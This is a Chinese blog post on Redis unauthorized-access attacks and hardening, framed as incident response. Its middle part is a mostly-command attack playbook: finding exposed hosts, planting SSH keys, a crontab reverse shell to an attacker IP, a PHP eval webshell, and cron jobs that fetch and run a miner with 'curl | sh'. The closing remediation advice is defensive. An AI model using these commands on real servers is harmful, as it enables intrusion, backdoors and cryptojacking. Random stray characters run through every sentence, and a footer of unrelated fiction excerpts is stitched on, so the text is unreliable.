應急響應-Redis攻擊防范

1.Redis介紹

Redis是一個開源的使用ANSI C語言編寫岸啡、支持網(wǎng)絡鸵赖、可基于內(nèi)存亦可持久化的日志型、 Key-Value數(shù)據(jù)庫温赔。和Memcached類似蛤奢,它支持存儲的value 類型相對更多,包括 string(字符串)陶贼、list ( 鏈表)啤贩、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希類型)骇窍。這些數(shù)據(jù)類型都支持push/pop 瓜晤、 add/remove 及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的腹纳。在此基礎(chǔ)上痢掠, redis支持各種不同方式的排序。與 memcached 一樣嘲恍,為了保證效率足画,數(shù)據(jù)都是緩存在內(nèi)存中。區(qū)別的是 redis 會周期性的把更新的數(shù)據(jù)寫入磁盤或者把修改操作寫入追加的記錄文件佃牛,并且在此基礎(chǔ)上實現(xiàn)了 master-slave ( 主從)同步淹辞。

2. Redis漏洞介紹

Redis因配置不當可以導致未授權(quán)訪問,被攻擊者惡意利用俘侠。當前流行的針對Redis未授權(quán)訪問的一種新型攻擊方式象缀,在特定條件下,如果Redis以root身份運行爷速,黑客可以給root賬戶寫入SSH公鑰文件央星,直接通過SSH登錄受害服務器,可導致服務器權(quán)限被獲取和數(shù)據(jù)刪除惫东、泄露或加密勒索事件發(fā)生莉给,嚴重危害業(yè)務正常服務毙石。部分服務器上的Redis 綁定在 0.0.0.0:6379,并且沒有開啟認證(這是Redis 的默認配置)颓遏,以及該端口可以通過公網(wǎng)直接訪問徐矩,如果沒有采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等叁幢,將會導致 Redis 服務直接暴露在公網(wǎng)上滤灯,可能造成其他用戶可以直接在非授權(quán)情況下直接訪問Redis服務并進行相關(guān)操作。目前比較主流的案例:yam2 minerd 挖礦程序遥皂,還有在多次應急事件中發(fā)現(xiàn)大量的watch-smartd挖礦木馬力喷。

3.? 測試環(huán)境介紹

Redis默認端口

Redis默認配置端口為6379刽漂,sentinel.conf配置器端口為26379

官方站點

https://redis.io/

http://download.redis.io/releases/redis-3.2.11.tar.gz

安裝redis

wgethttp://download.redis.io/releases/redis-4.0.8.tar.gz

tar –xvf redis-4.0.8.tar.gz

cd redis-4.0.8

make

最新版本前期漏洞已經(jīng)修復演训,測試時建議安裝3.2.11版本。

修改配置文件redis.conf

cp redis.conf./src/redis.conf

bind 127.0.0.1?

前面加上#號注釋掉

protected-mode

設為no

啟動redis-server

./src/redis-server redis.conf


連接Redis服務器

交互式方式

redis-cli -h {host} -p {port}?方式連接贝咙,然后所有的操作都是在交互的方式實現(xiàn)样悟,不需要再執(zhí)行redis-cli了

例如命令

redis-cli -h 127.0.0.1-p 6379?? 加-a參數(shù)表示帶密碼的訪問

命令方式

redis-cli -h {host} -p {port} {command}?直接得到命令的返回結(jié)果.

常見命令

命令描述

info查看信息

flushall刪除所有數(shù)據(jù)庫內(nèi)容

flushdb刷新數(shù)據(jù)庫

KEYS *查看所有鍵,使用 select

? num 可以查看鍵值數(shù)據(jù)

set test “who am i”設置變量

config set dir dirpath設置路徑等配置

save保存

get 變量查看變量名稱

更多命令可以參考文章:https://www.cnblogs.com/kongzhongqijing/p/6867960.html

相關(guān)漏洞

??????? 因配置不當可以未經(jīng)授權(quán)訪問,攻擊者無需認證就可以訪問到內(nèi)部數(shù)據(jù)庭猩,其漏洞可導致敏感信息泄露(Redis服務器存儲一些有趣的session窟她、cookie或商業(yè)數(shù)據(jù)可以通過get枚舉鍵值),也可以惡意執(zhí)行flushall來清空所有數(shù)據(jù)蔼水,攻擊者還可通過EVAL執(zhí)行l(wèi)ua代碼震糖,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件。如果Redis以root身份運行趴腋,可以給root賬戶寫入SSH公鑰文件吊说,直接免密碼登錄服務器,其相關(guān)漏洞信息如下:

Redis 遠程代碼執(zhí)行漏洞(CVE-2016-8339)

??Redis 3.2.x < 3.2.4版本存在緩沖區(qū)溢出漏洞优炬,可導致任意代碼執(zhí)行颁井。Redis數(shù)據(jù)結(jié)構(gòu)存儲的CONFIG SET命令中client-output-buffer-limit選項處理存在越界寫漏洞。構(gòu)造的CONFIG

SET命令可導致越界寫蠢护,代碼執(zhí)行雅宾。

CVE-2015-8080

??Redis 2.8.x在2.8.24以前和3.0.x 在3.0.6以前版本,lua_struct.c中存在getnum函數(shù)整數(shù)溢出葵硕,允許上下文相關(guān)的攻擊者許可運行Lua代碼(內(nèi)存損壞和應用程序崩潰)或可能繞過沙盒限制意圖通過大量眉抬,觸發(fā)基于棧的緩沖區(qū)溢出。

CVE-2015-4335

Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞懈凹。遠程攻擊者可執(zhí)行eval命令利用該漏洞執(zhí)行任意Lua字節(jié)碼

CVE-2013-7458

?讀取“.rediscli_history”配置文件信息

?

通過文件包含讀取其配置文件

??Redis配置文件中一般會設置明文密碼蜀变,在進行滲透時也可以通過webshell查看其配置文件,Redis往往不只一臺計算機蘸劈,可以利用其來進行內(nèi)網(wǎng)滲透昏苏,或者擴展權(quán)限滲透。


使用Redis暴力破解工具

https://github.com/evilpacket/redis-sha-crack,其命令為:

node ./redis-sha-crack.js -w wordlist.txt -s shalist.txt 127.0.0.1host2.example.com:5555

需要安裝node:

git clone https://github.com/nodejs/node.git

chmod -R 755 node

cd node

./configure

make


msf下利用模塊

auxiliary/scanner/redis/file_upload?normal ? ? Redis File Upload

auxiliary/scanner/redis/redis_login?normal ? ? Redis Login Utility

auxiliary/scanner/redis/redis_server ? normal ? ? Redis CommandExecute Scanner



[if !supportLists]4.? [endif]攻擊方式

使用nmap獲取主機開放的端口

針對redis默認端口6379通過使用nmap進行端口掃描

nmap -A -p 6379 --script redis-info 192.168.3.23

or

nmap -v -n -Pn -p 6379 -sV --script redis-info 192.168.6.0/24


通過漏洞搜索引擎獲取全球開放的端口

https://www.zoomeye.org/searchResult?q=port:6379

除去顯示“-NOAUTH Authentication required.”的結(jié)果贤惯,顯示這個信息表示需要進行認證洼专,也即需要密碼才能訪問。

https://fofa.so/ 通過訪問此站點輸入如下搜索語法:

port=6379 && protocol==redis && country=CN


未受權(quán)訪問敏感信息

?????? ./redis-cli-h 192.168.3.13

Info


可以查看里面的key和其對應的值

keys *?

get key


刪除數(shù)據(jù)

?????? flushall刪除所有數(shù)據(jù)

del key 刪除鍵為key的數(shù)據(jù)



ssh公鑰入侵

[if !supportLists]l? [endif]本地生成key

ssh-keygen -trsa

[if !supportLists]l? [endif]公鑰導入key.txt

將公鑰導入key.txt文件(前后用\n換行孵构,避免和Redis里其他緩存數(shù)據(jù)混合),再把key.txt文件內(nèi)容寫入目標主機的緩沖里:

(echo -e

"\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt cat

/root/.ssh/key.txt | ./redis-cli -h 192.168.3.13 -x set shit

[if !supportLists]l? [endif]連接遠程主機./redis-cli -h 192.168.10.153

[if !supportLists]l? [endif]設置redis的備份路徑和保存的文件名authorized_keys

config set dir/root/.ssh

config setdbfilename authorized_keys


[if !supportLists]l? [endif]將數(shù)據(jù)保存在硬盤上

Save

[if !supportLists]l? [endif]使用ssh遠程連接目標

ssh 192.168.3.13


通過crontab計劃任務反彈shell

首先是本地kali下使用nc監(jiān)聽端口

Nc -lvnp 4488


連接redis反彈shell

./redis-cli -h 192.168.3.13

set shit"\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.3.18/44880>&1\n\n"

config set dir/var/spool/cron

config setdbfilename root

save

1分鐘之后即可反彈shell


通過redis寫小馬到指定的web目錄

./redis-cli -h192.168.152.128

config set dir/var/www/html

set shit"\n\n\neval($_POST['fuck']);?>\n\n\n"

config setdbfilename shell.php

save


寫入挖礦進程

所謂”挖礦”實質(zhì)上是用計算機解決一項復雜的數(shù)學問題屁商,來保證比特幣網(wǎng)絡分布式記賬系統(tǒng)的一致性。比特幣網(wǎng)絡會自動調(diào)整數(shù)學問題的難度颈墅,讓整個網(wǎng)絡約每10分鐘得到一個合格答案蜡镶。隨后比特幣網(wǎng)絡會新生成一定量的比特幣作為賞金,獎勵獲得答案的人恤筛。它依據(jù)特定算法官还,通過大量的計算產(chǎn)生,所以才會大量占據(jù)cpu毒坛,導致系統(tǒng)卡頓望伦,嚴重的直接癱瘓。給服務器上傳挖礦木馬有兩種方法:


1.用上面的方法拿下webshell煎殷,給服務器指定目錄上傳一個watch-smartd挖礦木馬屯伞,一個shell腳本1.sh(上傳的文件默認沒有x權(quán)限) 這個腳本給其執(zhí)行權(quán)限

vim 1.sh

#!bin/bash

PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin

Export PATH

Chmod +x/root/test/watch-smartd

Exit 0


使用kali遠程連接redis

./redis-cli -h192.168.3.13

config set dir/var/spool/cron

config setdbfilename root

set watch-smartd"\n\n\n*/1 * * * * /root/test/./watch-smartd\n\n\n"

set 1.sh"\n\n\n/1sh/root/test/1.sh\n\n"

save


2.寫入定時任務,到指定的網(wǎng)站去下載挖礦木馬和shell腳本1.sh


vim1.sh

#!bin/bash PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin if [ ! -f "/tmp/watch-smartd"]; then

wgethttp://192.168.152.138/watch/watch-smartd -O /tmp/watch-smartd

elsechmod +x /tmp/watch-smartd

fi

exit0


在kali上遠程連接redis

./redis-cli -h192.168.152.128

config set dir/var/spool/cron config

set dbfilenameroot

set shit"\n\n\n*/5 * * * * curl http://192.168.152.138/watch/1.sh | sh\n\n\n"

set shut"\n\n\n*/1 * * * * /tmp/./watch-smartd\n\n\n"

save


利用redis執(zhí)行命令

redis 2.6以前的版本內(nèi)置了lua腳本環(huán)境豪直,在有連接redis服務器的權(quán)限下劣摇,可以利用lua執(zhí)行系統(tǒng)命令。

本地建立一個lua腳本

vim?hello.lua


localmsg ="hello,hack!"

returnmsg

在客戶端連接redis服務器并執(zhí)行hello.lua

./redis-cli eval "$(cathello.lua)" 0 -h 192.168.3.13


利用hydra對redis進行暴力破解

hydra-Ppasswd.txt redis://192.168.3.13


[if !supportLists]5.? [endif]redis日志

首先找到redis的配置文件

打開配置文件弓乙,找到logfile(可能有多個logfile末融,認準旁邊有l(wèi)oglevel的那個),或者直接搜logfile “”

將路徑填入logfile后面的引號內(nèi)唆貌,例如:logfile”/usr/local/redis/redis.log”

[if !vml][endif]

保存配置文件滑潘,以這個配置文件啟動redis,然后這時候redis的啟動框會變成一個黑框框锨咙,什么輸出都沒有语卤,這就對了(因為輸入全寫到日志文件去了)

[if !vml][endif]

[if !vml][endif]

loglevel是用來設置日志等級的,具體可以看配置文件中上面的注釋

[if !vml][endif]

[if !supportLists]6.? [endif]修復方案

1.禁止一些高危命令(重啟redis才能生效)

修改 redis.conf 文件酪刀,禁用遠程修改 DB 文件地址

rename-commandFLUSHALL ""

rename-commandCONFIG ""

rename-commandEVAL ""

或者通過修改redis.conf文件粹舵,改變這些高危命令的名稱

rename-commandFLUSHALL "name1"

rename-commandCONFIG "name2"

rename-commandEVAL "name3"

2. 以低權(quán)限運行 Redis 服務(重啟redis才能生效)

為 Redis 服務創(chuàng)建單獨的用戶和家目錄,并且配置禁止登陸

groupadd-rredis && useradd -r -g redis redis

3. 為 Redis 添加密碼驗證(重啟redis才能生效)

修改 redis.conf 文件骂倘,添加

requirepassmypassword

(注意redis不要用-a參數(shù)眼滤,明文輸入密碼,連接后使用auth認證)

4. 禁止外網(wǎng)訪問 Redis(重啟redis才能生效)

修改 redis.conf 文件历涝,添加或修改诅需,使得 Redis 服務只在當前主機可用

bind127.0.0.1

在redis3.2之后漾唉,redis增加了protected-mode,在這個模式下堰塌,非綁定IP或者沒有配置密碼訪問時都會報錯

5. 修改默認端口

修改配置文件redis.conf文件

Port6379

默認端口是6379赵刑,可以改變成其他端口(不要沖突就好)

6. 保證authorized_keys 文件的安全

為了保證安全,您應該阻止其他用戶添加新的公鑰场刑。

將 authorized_keys 的權(quán)限設置為對擁有者只讀般此,其他用戶沒有任何權(quán)限:

chmod 400 ~/.ssh/authorized_keys

為保證 authorized_keys 的權(quán)限不會被改掉,您還需要設置該文件的? ? immutable 位權(quán)限:

chattr +i ~/.ssh/authorized_keys

然而牵现,用戶還可以重命名~/.ssh铐懊,然后新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況瞎疼,需要設置 ~./ssh

? ? 的 immutable 權(quán)限:

chattr+i~/.ssh

7. 設置防火墻策略

如果正常業(yè)務中Redis服務需要被其他服務器來訪問科乎,可以設置iptables策略僅允許指定的IP來訪問Redis服務。



推薦:https://www.freebuf.com/column/158065.html

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末丑慎,一起剝皮案震驚了整個濱河市喜喂,隨后出現(xiàn)的幾起案子瓤摧,更是在濱河造成了極大的恐慌竿裂,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,525評論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件照弥,死亡現(xiàn)場離奇詭異腻异,居然都是意外死亡,警方通過查閱死者的電腦和手機这揣,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,203評論 3 395
  • 文/潘曉璐 我一進店門悔常,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人给赞,你說我怎么就攤上這事机打。” “怎么了片迅?”我有些...
    開封第一講書人閱讀 164,862評論 0 354
  • 文/不壞的土叔 我叫張陵残邀,是天一觀的道長。 經(jīng)常有香客問我柑蛇,道長芥挣,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,728評論 1 294
  • 正文 為了忘掉前任耻台,我火速辦了婚禮空免,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘盆耽。我一直安慰自己蹋砚,他們只是感情好扼菠,可當我...
    茶點故事閱讀 67,743評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著坝咐,像睡著了一般娇豫。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上畅厢,一...
    開封第一講書人閱讀 51,590評論 1 305
  • 那天冯痢,我揣著相機與錄音,去河邊找鬼框杜。 笑死浦楣,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的咪辱。 我是一名探鬼主播振劳,決...
    沈念sama閱讀 40,330評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼油狂!你這毒婦竟也來了历恐?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,244評論 0 276
  • 序言:老撾萬榮一對情侶失蹤专筷,失蹤者是張志新(化名)和其女友劉穎弱贼,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體磷蛹,經(jīng)...
    沈念sama閱讀 45,693評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡吮旅,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,885評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了味咳。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片庇勃。...
    茶點故事閱讀 40,001評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖槽驶,靈堂內(nèi)的尸體忽然破棺而出责嚷,到底是詐尸還是另有隱情,我是刑警寧澤掂铐,帶...
    沈念sama閱讀 35,723評論 5 346
  • 正文 年R本政府宣布罕拂,位于F島的核電站,受9級特大地震影響堡纬,放射性物質(zhì)發(fā)生泄漏聂受。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,343評論 3 330
  • 文/蒙蒙 一烤镐、第九天 我趴在偏房一處隱蔽的房頂上張望蛋济。 院中可真熱鬧,春花似錦炮叶、人聲如沸碗旅。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,919評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽祟辟。三九已至医瘫,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間旧困,已是汗流浹背醇份。 一陣腳步聲響...
    開封第一講書人閱讀 33,042評論 1 270
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留吼具,地道東北人僚纷。 一個月前我還...
    沈念sama閱讀 48,191評論 3 370
  • 正文 我出身青樓,卻偏偏與公主長得像拗盒,于是被迫代替她去往敵國和親怖竭。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,955評論 2 355